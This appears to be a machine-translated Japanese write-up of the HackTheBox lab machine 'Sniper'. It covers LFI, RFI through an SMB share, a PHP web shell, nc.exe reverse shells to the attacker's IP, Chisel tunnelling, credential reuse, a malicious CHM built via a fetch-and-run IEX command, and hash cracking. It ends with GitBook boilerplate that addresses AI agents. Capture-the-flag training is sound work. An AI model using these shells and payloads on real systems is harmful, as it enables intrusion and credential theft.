> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md). # Sniper HackTheBox攻略記事 Local File Inclusion（LFI）、Remote File Inclusion（RFI）（失敗）、SMBサーバー経由のRemote File Inclusion（net usershare手法）（成功）を扱うSniper HackTheBox Medium Windowsマシンの攻略記事 {% embed url="" %} {% hint style="warning" %} スキル: * ローカルファイルインクルージョン（LFI） * リモートファイルインクルージョン（RFI）（失敗） * SMBサーバー経由のリモートファイルインクルージョン（net usershare手法）（成功） * Webシェルを作成してリモートコマンド実行（RCE）を達成 * 情報漏えい（ユーザーピボット） * Chisel と ScriptBlocks を Invoke-Command で試す * 悪意ある CHM ファイルの作成（Out-CHM.ps1）（権限昇格） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。
**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。
**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts ```
**extractPorts による開いているポートの分析:** extractPorts 関数を使って開いているポートを簡潔な形式で表示し、クリップボードにコピーする。（80,135,139,445,496,67）
**Nmapによるポートバージョンスキャン：** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted ```
### ポート80:
**による分析 `whatweb`:** 私たちは `whatweb` を使って、Webサーバーで使用されている技術を特定した： {% code overflow="wrap" fullWidth="false" %} ```bash whatweb 10.10.10.151 http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1] ``` {% endcode %} ## **脆弱性 LFI：** 言語変更ページには、 `lang` パラメータがあり、選択した言語に応じて異なる PHP ファイルを読み込むようになっていた。
ローカルシステムのファイルでテストした： ```url http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts ``` * これにより、次の内容を表示できた。 `hosts` ファイルに存在するユーザーに対して試します。
**機密ファイル読み取りの試行を `php://filter`:** LFI を使って読み取ろうとした。 `index.php` Microsoft IIS Webサーバーのファイルは `/inetpub/wwwroot/index.php`にあるが、 `php://filter` 経由の操作はうまくいかなかった。
```url php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php ```
### リモートファイルインクルージョン（RFI）（失敗） #### リモート Web サーバー経由の RFI テスト： 私たちは `?lang=http://10.10.14.3/index.html` URL を使って、Python3 のローカル Web サーバーを指すことでリモートファイルを読み込もうとした。 ```bash python3 -m http.server 80 ``` ```url ?lang=http://10.10.14.3/index.html ``` しかし、うまくいかなかった。
## リモートファイルインクルージョン（SMBサーバー） **SMBサーバーを作成：** 私たちは `smbserver.py` を使ってローカル SMB サーバーを作成し、現在のディレクトリを共有した： ```bash smbserver.py share $(pwd) -smb2support ``` それから、 `lang` パラメータ ```bash ?lang=/10.10.14.3/share/index.html ``` * パラメータを変更して SMB サーバーからファイルを読み込もうとしたところ、 `index.html` 今回はサーバーがファイルを正しく解釈し、その内容（"Hello World"）を表示した。
**PHP Webシェルファイルを作成（`cmd.php）`** 私たちは `cmd.php` ファイルを SMB サーバー上に作成し、 `cmd` パラメータ： ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` /*/* SMB/ 経由でリモートコマンドを実行するために*/* ```bash //10.10.14.3/share/cmd.php&cmd= ``` 次の URL を使って、 `whoami` コマンド: ```bash //10.10.14.3/share/cmd.php&cmd=whoami ```
### リバースシェル（nc.exe） **ダウンロード `nc.exe` リバースシェル用に：**/ 私たちは `nc.exe` 実行中のツールからバイナリを回収し、 `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` にコピーして作業ディレクトリに配置した。 ```bash nc.exe を探す cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` **ポート 443 で待ち受け：**/ 私たちは `nc` を使って、ポート 443 で待ち受けるリスナーを設定した： ```bash rlwrap nc -nvlp 443 ``` **SMB 経由でリバースシェルを実行：**/ それから私たちは `cmd` パラメータをファイルに向けて、リバースシェルを起動した ``` ?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443 ``` その結果、自分たちのマシンへリバースシェルを取得できた。
## 権限昇格 **機密ファイルを検索：**/ PHP ファイル内の機密情報を探したところ、 `db.php` ファイルを見つけ、データベースの認証情報が含まれていた： * ユーザー： `dbuser` * パスワード: `36mEAhz/B8xQ~2VM`
**別ユーザーの認証情報の検証：**
私たちは **Chris** という別のユーザーがいることを発見し、さらに **管理者**。私たちは **CrackMapExec** を使って、 `Chris` 認証情報が有効かどうかを確認した： ```bash crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * 接続は成功した。
**ユーザー "Chris" の権限を確認：** * 私たちはユーザー `Chris` が **リモート管理ユーザー** グループに属しており、リモート接続が可能であることを確認した。
/*/* 開いているポートの分析：/*/* リモート接続に必要なポート（WinRMで使われる 5985 番ポート）は外部からは開いておらず、内部向けだった。私たちは `netstat` を使って、対象マシンで待ち受けているポートを確認した： ```bash netstat -an | findstr "LISTEN" ```
## ポート転送（5985 WinRm） ### 1. PowerShell 私たちは攻撃用マシンで PowerShell を起動した： ```bash powershell ``` コマンド `hostname`を使って Windows 環境名を取得し、ホスト名が `スナイパー`. ```powershell hostname ``` であることが分かった。次にユーザー用の変数を作成し、 `Chris` でパスワード用の別変数を作成した。 `ConvertTo-SecureString`: ```powershell $user = "Sniper/Chris" ``` ```powershell $password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force ``` その後、 `PSCredential` オブジェクトを作成し、対象マシンでリモートコマンドを実行できるようにした： ```bash $cred = New-Object System.Management.Automation.PSCredential($user, $password) ``` **リモート制御の実行：**/ 次のコマンドを使って `whoami` をリモートで実行し、アクセスを確認した： ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami} ``` * これにより、確かに **Chris**.
**リバースシェル：**/ システムへ完全アクセスするため、ポート 4444 でリスナーを立てた： ```bash rlwrap nc -nlvp 4444 ``` それから `nc.exe` を使ってリバースシェルを実行した： {% code overflow="wrap" %} ```powershell Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444 ``` {% endcode %}
### 2. Chisel {% embed url="" %} **ファイルのダウンロードと準備：**/ 私たちは圧縮された **Chisel** ファイル、すなわち: * `chisel-linux` * `chisel-windows.exe` {% embed url="" %} {% embed url="" %} 解凍後、 **Chisel** Windows 用ファイルを対象マシンへ転送した： ```bash copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe ```
**Chisel で攻撃マシン側を待ち受ける：**/ 私たちは **Chisel** をポート8888で攻撃側マシン上のサーバーモードで: ```bash ./chisel-linux server -p 8888 -reverse ``` その後、対象の Windows マシン上で **Chisel** をクライアントモードで実行し、攻撃マシンへ接続してポート 5985 を自分たちのマシンへ転送した： ```bash chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985 ```
**転送後のポート確認を `lsof`:**/ ポート転送後に、コマンドで 5985 番ポートが正しく転送されていることを確認した：
**WinRM でログイン：**/ 私たちは **CrackMapExec** を使って **WinRM** 経由の接続を、転送した 5985 番ポートでテストした： ```bash crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` * 記号を得て、 **侵害済み**WinRM 経由でマシンにアクセスできたことを確認した。
**Evil-WinRM による最終接続：**/ 最後に、私たちは **Evil-WinRM** を使って **Chris**: ```bash evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM' ``` ### フラグ user.txt :)
**「docs」ディレクトリの探索：**/ のルートに **Windows**、フォルダー **docs** という名前のフォルダを見つけます。 `note.txt` ファイルを見つけ、次のメッセージがあった：
> こんにちは Chris、 > > あなたの PHP スキルは本当にひどい。Yamitenshi に連絡して使い方を教わり、その後サイトを修正しなさい。バグがたくさんあります。新しいアプリケーションのドキュメントも準備しておいてください。終わったらここに置いてください。 > > 敬具、/ Sniper CEO. **システム内でドキュメントを検索：**/ CEO が言及したドキュメントを探したところ、 **Downloads** ディレクトリの下にある **instructions.chm** ファイルに存在するユーザーに対して試します。
### **悪意ある CHM ファイルの作成：** CEO が表示したいと思っていたと分かった後、 **CHM** ファイルがある **docs** ディレクトリについて、悪意ある CHM ファイルの作り方をインターネットで調べた。 {% embed url="" %} **HTML Help ツールをダウンロード：**/ 私たちは **HTML Help** をダウンロードし、PowerShell スクリプトを使って悪意ある CHM ファイルを作成した * [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe) ```bash IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1') ``` その後、スクリプトを修正して、 **nc.exe**: ```bash Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop" ```
**悪意ある CHM ファイルの対象ディレクトリへの投入：**/ 攻撃用マシン上に SMB サーバーを構成し、悪意あるファイルを対象の Windows マシンへ転送した： ```bash smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234 ``` /*/* 被害マシンから SMB 共有に接続：/*/*/ 対象の Windows マシンから SMB 共有をマウントし、悪意ある `doc.chm` ファイル： ```powershell net use x: //192.168.0.190/smbFolder /user:jordan jordan1234 copy ./doc.chm x:/doc.chm ``` **リバースシェル待ち受け：**/ 攻撃用マシンでリスナーを起動し、リバースシェル接続を待った： ```bash rlwrap nc -nlvp 443 ```
/*/* 発生した問題：/*/*/ CHM ファイルは表示されたものの、リバースシェルは受信できなかった。しかし、 **SMB Relay V2** をサーバー上で捕捉できた。これにより、ユーザーの認証ハッシュが得られた `管理者`
#### **Administrator ハッシュをクラック：** ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `Administrator:butterfly!#1`
#### **管理者としてログイン：** 得られた認証情報を使って、 **Evil-WinRM** を管理者として接続した： ```bash evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1' ```
### root.txt フラグ :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.